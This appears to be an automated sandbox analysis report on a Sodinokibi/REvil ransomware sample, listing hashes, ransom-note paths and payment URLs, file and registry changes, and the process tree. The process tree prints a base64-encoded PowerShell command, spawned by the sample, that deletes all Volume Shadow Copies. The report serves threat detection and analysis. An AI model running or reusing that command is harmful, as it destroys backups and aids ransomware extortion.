Analysis
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max time kernel
147s -
max time network
151s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
07-09-2024 22:22
Behavioral task
behavioral1
Sample
d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe
Resource
win10v2004-20240802-en
General
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Target
d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe
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Size
165KB
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MD5
d2f4275c5c0ed02ac27c5c502fabeaec
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SHA1
24d68dde7bf39797ac7c03a39b5f11d36957834f
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SHA256
4e5c233cf1270e2dac1a35ab36907ee23189fd424625fbcd7da10e49e7ae331c
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SHA512
a1e3240b0ef8347f30885741f553ac43cf17ec1b7d179aaf396707a017a4ee8b9dba28a58bfdfe7b7092e320b44daef754f24fbb0a1d41998c3918fcdeb841fa
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SSDEEP
3072:dopp2Xda3yJQZiiykM2pngXEOkzMvo3qBVj:dGp3zZiXkMEnSEVzMQaz
Malware Config
Extracted
C:\Users\9e28nf86-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/352ABE9B61DEBAA2
http://decryptor.cc/352ABE9B61DEBAA2
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\A: d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened (read-only) \??\G: d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened (read-only) \??\Z: d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened (read-only) \??\I: d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened (read-only) \??\O: d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened (read-only) \??\K: d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened (read-only) \??\P: d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened (read-only) \??\U: d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened (read-only) \??\T: d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened (read-only) \??\Y: d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened (read-only) \??\E: d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened (read-only) \??\J: d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened (read-only) \??\L: d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened (read-only) \??\D: d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened (read-only) \??\F: d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened (read-only) \??\R: d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened (read-only) \??\S: d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened (read-only) \??\V: d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened (read-only) \??\B: d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened (read-only) \??\H: d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened (read-only) \??\M: d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened (read-only) \??\N: d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened (read-only) \??\Q: d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened (read-only) \??\W: d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened (read-only) \??\X: d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\CatRoot2\dberr.txt d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\s2ogq.bmp" d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe -
Drops file in Program Files directory 19 IoCs
description ioc Process File opened for modification \??\c:\program files\ApproveMerge.au3 d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened for modification \??\c:\program files\DismountMount.3gp2 d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened for modification \??\c:\program files\OutSet.odp d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened for modification \??\c:\program files\RenameGroup.htm d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File created \??\c:\program files (x86)\9e28nf86-readme.txt d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened for modification \??\c:\program files\ExitMeasure.DVR d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened for modification \??\c:\program files\ExitSkip.ps1xml d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened for modification \??\c:\program files\RegisterConvertTo.odp d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened for modification \??\c:\program files\UnprotectRead.tiff d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\9e28nf86-readme.txt d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened for modification \??\c:\program files\CompressJoin.vbe d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened for modification \??\c:\program files\ConvertReceive.gif d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\9e28nf86-readme.txt d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\9e28nf86-readme.txt d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened for modification \??\c:\program files\BlockInstall.zip d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened for modification \??\c:\program files\CheckpointUndo.midi d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened for modification \??\c:\program files\DisableSuspend.contact d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File opened for modification \??\c:\program files\UninstallMount.xlsx d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe File created \??\c:\program files\9e28nf86-readme.txt d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d578112861900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b06010505070308200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1884 d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe 348 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 1884 d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe Token: SeDebugPrivilege 348 powershell.exe Token: SeBackupPrivilege 2212 vssvc.exe Token: SeRestorePrivilege 2212 vssvc.exe Token: SeAuditPrivilege 2212 vssvc.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 1884 wrote to memory of 348 1884 d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe 30 PID 1884 wrote to memory of 348 1884 d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe 30 PID 1884 wrote to memory of 348 1884 d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe 30 PID 1884 wrote to memory of 348 1884 d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe 30 -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\d2f4275c5c0ed02ac27c5c502fabeaec_JaffaCakes118.exe"1⤵
- Enumerates connected drives
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1884 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:348
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2276
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2212
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
6KB
MD56ae4b5bd0f09ef97a65eabbae9d1b9f8
SHA10ca960599cc99d5a9099abec71532f333b532d44
SHA25682ba8d5a537e7c58c1af23a361584a5415dbc3c6e52a75577363821b7eb85915
SHA51298b8ed6be28cfda428fac11c70ed08cd2a2281cb2fce9f7c9d0a15e57e2b1f9515beba5cdc8447f6b2357d1ae10449fb4b704d7be89e75889f64b4afdfeab5b2
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Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b
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Filesize
181KB
MD54ea6026cf93ec6338144661bf1202cd1
SHA1a1dec9044f750ad887935a01430bf49322fbdcb7
SHA2568efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA5126c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b
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Filesize
191KB
MD5bfb639d3d0900af79b1aee248b4b5115
SHA12e76abb74a33a486890685b6b383a9d17afb223d
SHA256d2d140330f4cf4575330a4842bc480bb1b0a307bcf82b8c8266b10b717cfbe47
SHA5126dbcc4f66e97ebd57602cad5f2ecd3a8506fe9050f81861e059e0f4e25962661de0747c621bcea1032b6e5e1ef132e0fbda59a89c8176ca3385a02bb37ede897